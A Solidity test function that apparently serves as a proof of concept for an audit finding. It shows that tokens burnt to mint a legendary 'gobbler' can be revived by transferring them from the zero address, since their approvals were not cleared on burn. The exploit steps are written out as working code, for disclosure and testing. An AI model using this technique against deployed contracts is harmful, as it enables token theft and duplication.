function testCanReuseSacrificedGobblers() public {
	address user = users[0];

	// setup legendary mint
	uint256 startTime = block.timestamp + 30 days;
	vm.warp(startTime);
	mintGobblerToAddress(user, gobblers.LEGENDARY_AUCTION_INTERVAL());
	uint256 cost = gobblers.legendaryGobblerPrice();
	assertEq(cost, 69);
	setRandomnessAndReveal(cost, "seed");

	for (uint256 curId = 1; curId <= cost; curId++) {
		ids.push(curId);
		assertEq(gobblers.ownerOf(curId), users[0]);
	}

	// do token approvals for vulnerability exploit
	vm.startPrank(user);
	for (uint256 i = 0; i < ids.length; i++) {
		gobblers.approve(user, ids[i]);
	}
	vm.stopPrank();

	// mint legendary
	vm.prank(user);
	uint256 mintedLegendaryId = gobblers.mintLegendaryGobbler(ids);

	// confirm user owns legendary
	assertEq(gobblers.ownerOf(mintedLegendaryId), user);

	// show that contract initially thinks tokens are burnt
	for (uint256 i = 0; i < ids.length; i++) {
		hevm.expectRevert("NOT_MINTED");
		gobblers.ownerOf(ids[i]);
	}

	// "revive" burnt tokens by transferring from zero address with approval
	// which was not reset
	vm.startPrank(user);
	for (uint256 i = 0; i < ids.length; i++) {
		gobblers.transferFrom(address(0), user, ids[i]);
		assertEq(gobblers.ownerOf(ids[i]), user);
	}
	vm.stopPrank();
}
